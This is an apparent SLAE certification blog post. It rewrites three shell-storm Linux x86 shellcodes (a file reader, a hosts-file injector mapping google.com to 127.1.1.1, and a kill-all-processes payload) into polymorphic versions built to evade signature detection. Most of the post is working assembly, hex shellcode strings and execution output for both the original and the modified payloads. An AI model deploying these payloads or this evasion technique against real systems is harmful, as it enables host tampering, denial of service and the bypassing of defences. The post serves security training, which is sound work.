In this post, I am going to refer 3 Linux x86 shellcodes from shell-storm database and create their polymorphic versions. To elaborate, I will try to achieve polymorphism by using semantically equivalent instructions to achieve the original functionality, but trying to evade the pattern matching.
I will keep this post short and crisp. So, let’s jump right into it:
Linux/x86 File Reader
The first one that I chose is a file reader shellcode. The shellcode had hard-coded string value, which is the file pathname. Upon execution, the shellcode invokes open, read and write syscall to read the file mentioned by the pathname string. The original shellcode is as follows (converted to Intel format):
global _start _start: xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx jmp two one: pop ebx mov al, 0x5 xor ecx, ecx int 0x80 mov esi, eax jmp read exit: mov al, 0x1 xor ebx, ebx int 0x80 read: mov ebx, esi mov al, 0x3 sub esp, 1 lea ecx,[esp] mov dl,0x1 int 0x80 xor ebx, ebx cmp ebx, eax je exit mov al, 0x4 mov bl, 0x1 mov dl, 0x1 int 0x80 add esp, 1 jmp read two: call one db "file_name"
I changed the string file_name to “/etc/netconfig”, compiled and ran the code and got the following output.
root@kali:~/slae/assignments/assignment-6# objdump -d file_reader |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff\x2f\x65\x74\x63\x2f\x6e\x65\x74\x63\x6f\x6e\x66\x69\x67" root@kali:~/slae/assignments/assignment-6# nano shellcode.c root@kali:~/slae/assignments/assignment-6# gcc -fno-stack-protector -z execstack shellcode.c -o file_reader_original shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int] 7 | main() | ^~~~ root@kali:~/slae/assignments/assignment-6# ./file_reader_original Shellcode length: 79 # # The network configuration file. This file is currently only used in # conjunction with the TI-RPC code in the libtirpc library. # # Entries consist of: # # <network_id> <semantics> <flags> <protofamily> <protoname> \ # <device> <nametoaddr_libs> # # The <device> and <nametoaddr_libs> fields are always empty in this # implementation. # udp tpi_clts v inet udp - - tcp tpi_cots_ord v inet tcp - - udp6 tpi_clts v inet6 udp - - tcp6 tpi_cots_ord v inet6 tcp - - rawip tpi_raw - inet - - - local tpi_cots_ord - loopback - - - unix tpi_cots_ord - loopback - - -
The original shellcode length is 79.
Post analyzing the code, I created a polymorphic version. Here are the major changes done in the code:
- Eliminated JMP-CALL-POP technique
- Removed db string. Instead, used a stack method to push /etc///netconfig on the stack
- Removed all mov instructions. Substituted them with add instructions.
The updated code is as follows. I have commented the code too for better understanding.
global _start _start: xor ebx, ebx ; EBX XORed to NULL push ebx ; push NULL onto stack ; push /etc///netconfig on the stack push 0x6769666e ; gifn : 6769666e push 0x6f637465 ; octe : 6f637465 push 0x6e2f2f2f ; n/// : 6e2f2f2f push 0x6374652f ; cte/ : 6374652f mov ebx, esp xor eax, eax ; EAX XOred to NULL add al, 5 ; Increment AL by 5; EAX - 0x5 xor ecx, ecx int 0x80 mov esi, eax jmp read exit: xor eax, eax ; EAX XOred to NULL add al, 1 ; Increment AL by 1; EAX - 0x1 xor ebx, ebx int 0x80 read: mov ebx, esi xor eax, eax ; EAX XOred to NULL add al, 3 ; Increment AL by 3; EAX - 0x3 sub esp, 1 lea ecx,[esp] xor edx, edx ; EDX XOred to NULL add dl, 1 ; Increment DL by 1, EDX - 0x1 int 0x80 xor ebx, ebx cmp ebx, eax je exit xor eax, eax ; EAX XOred to NULL xor edx, edx ; EDX XOred to NULL add al, 4 add bl, 1 add dl, 1 int 0x80 add esp, 1 jmp read
Running this in our skeleton C shellcode shows that the shellcode size is 89, which is just ~11% increase in payload size.
root@kali:~/slae/assignments/assignment-6/file_reader# objdump -d file_reader_polymorphic |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xdb\x53\x68\x6e\x66\x69\x67\x68\x65\x74\x63\x6f\x68\x2f\x2f\x2f\x6e\x68\x2f\x65\x74\x63\x89\xe3\x31\xc0\x04\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x08\x31\xc0\x04\x01\x31\xdb\xcd\x80\x89\xf3\x31\xc0\x04\x03\x83\xec\x01\x8d\x0c\x24\x31\xd2\x80\xc2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xdf\x31\xc0\x31\xd2\x04\x04\x80\xc3\x01\x80\xc2\x01\xcd\x80\x83\xc4\x01\xeb\xd4" root@kali:~/slae/assignments/assignment-6/file_reader# nano shellcode.c root@kali:~/slae/assignments/assignment-6/file_reader# gcc -fno-stack-protector -z execstack shellcode.c -o file_reader_poly shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int] 7 | main() | ^~~~ root@kali:~/slae/assignments/assignment-6/file_reader# ./file_reader_poly Shellcode length: 89 # # The network configuration file. This file is currently only used in # conjunction with the TI-RPC code in the libtirpc library. # # Entries consist of: # # <network_id> <semantics> <flags> <protofamily> <protoname> \ # <device> <nametoaddr_libs> # # The <device> and <nametoaddr_libs> fields are always empty in this # implementation. # udp tpi_clts v inet udp - - tcp tpi_cots_ord v inet tcp - - udp6 tpi_clts v inet6 udp - - tcp6 tpi_cots_ord v inet6 tcp - - rawip tpi_raw - inet - - - local tpi_cots_ord - loopback - - - unix tpi_cots_ord - loopback - - - root@kali:~/slae/assignments/assignment-6/file_reader#
Add Entry Hosts file
The second one in the list is a payload which adds mapping of a domain to IP address in the hosts file. The hardcoded values create a mapping of google.com with 127.1.1.1
The original shellcode is as follows:
/** ;modify_hosts.asm ;this program add a new entry in hosts file pointing google.com to 127.1.1.1 ;author Javier Tejedor ;date 24/09/2014 global _start section .text _start: xor ecx, ecx mul ecx mov al, 0x5 push ecx push 0x7374736f ;/etc///hosts push 0x682f2f2f push 0x6374652f mov ebx, esp mov cx, 0x401 ;permmisions int 0x80 ;syscall to open file xchg eax, ebx push 0x4 pop eax jmp short _load_data ;jmp-call-pop technique to load the map _write: pop ecx push 20 ;length of the string, dont forget to modify if changes the map pop edx int 0x80 ;syscall to write in the file push 0x6 pop eax int 0x80 ;syscall to close the file push 0x1 pop eax int 0x80 ;syscall to exit _load_data: call _write google db "127.1.1.1 google.com" **/
The code when run is of 77 bytes.
root@kali:~/slae/assignments/assignment-6/add_host# cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 kali # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters root@kali:~/slae/assignments/assignment-6/add_host# ./shellcode Shellcode length: 77 root@kali:~/slae/assignments/assignment-6/add_host# cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 kali # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 127.1.1.1 google.com
Post analyzing the code, I created a polymorphic version. Here are the major changes done in the code:
- As standard push of /etc///hosts on the stack was a defined pattern, I removed it
- Instead, I broke up each push instruction in the following:
- Subtracted 0x1111 from each push instruction and moved to ESI register
- Added 0x1111 in the ESI register
- Moved ESI to ESP – 4, ESP – 8 and ESP-12 respectively for each instruction
- Adjusted ESP by subtracting 12
The updated code is as follows. I have commented the code too for better understanding.
;modify_hosts.asm ;this program add a new entry in hosts file pointing google.com to 127.1.1.1 ;author Javier Tejedor ;date 24/09/2014 global _start section .text _start: xor ecx, ecx mul ecx mov al, 0x5 push ecx ; push 0x7374736f ;/etc///hosts ; push 0x682f2f2f ; push 0x6374652f ; subtract 0x1111 from 0x7374736f and then add 0x1111 mov esi, 0x7374625E add esi, 0x1111 mov dword [esp-4], esi ; subtract 0x1111 from 0x682f2f2f and then add 0x1111 mov esi, 0x682F1E1E add esi, 0x1111 mov dword [esp-8], esi ; subtract 0x1111 from 0x6374652f amd then add 0x1111 mov esi, 0x6374541E add esi, 0x1111 mov dword [esp-12], esi ; adjust esp sub esp, 12 mov ebx, esp mov cx, 0x401 ;permmisions int 0x80 ;syscall to open file xchg eax, ebx push 0x4 pop eax jmp short _load_data ;jmp-call-pop technique to load the map _write: pop ecx push 20 ;length of the string, dont forget to modify if changes the map pop edx int 0x80 ;syscall to write in the file push 0x6 pop eax int 0x80 ;syscall to close the file push 0x1 pop eax int 0x80 ;syscall to exit _load_data: call _write google db "127.1.1.1 google.com"
Running this in our skeleton C shellcode shows that the shellcode size is 107, which is just ~38% increase in payload size.
root@kali:~/slae/assignments/assignment-6/add_host# cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 kali # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters root@kali:~/slae/assignments/assignment-6/add_host# ./shellcode Shellcode length: 107 root@kali:~/slae/assignments/assignment-6/add_host# cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 kali # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 127.1.1.1
Kill all Processes
This is the last one in this post. This shellcode is pretty straightforward. It kills all processes !
The original code is as follows:
; linux/x86 kill all processes 9 bytes ; root@thegibson ; 2010-01-14 section .text global _start _start: ; kill(-1, SIGKILL); mov al, 37 push byte -1 pop ebx mov cl, 9 int 0x80
As you can see, this is a very small piece of code that is using kill syscall to kill all the processes. Running this code exits my ssh console session and this code is only 9 bytes long.
Post analyzing the code, I created a polymorphic version. Here are the major changes done in the code:
- Instead of moving the syscall number directly into EAX register, I broke the instruction into 3 instructions, which has the same function
- Similarly, instead of moving the 9 directly into ECX register, I broke the instruction into 3 instructions, which has the same function
The modified shellcode is of 19 bytes which is ~111% increase in the size. The modified shellcode is as follows:
; linux/x86 kill all processes 9 bytes ; root@thegibson ; 2010-01-14 section .text global _start _start: ; kill(-1, SIGKILL); ; broke mov al, 37 into 3 instructions mov cl, 0x24 mov eax, ecx add eax, 0x1 push byte -1 pop ebx ; broke mov cl, 9 into 3 instructions mov dl, 0x8 mov ecx, edx add ecx, 0x1 int 0x80
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https://www.pentesteracademy.com/course?id=3
Student ID: PA-16521
The code is also stored at GitHub. Thanks for reading !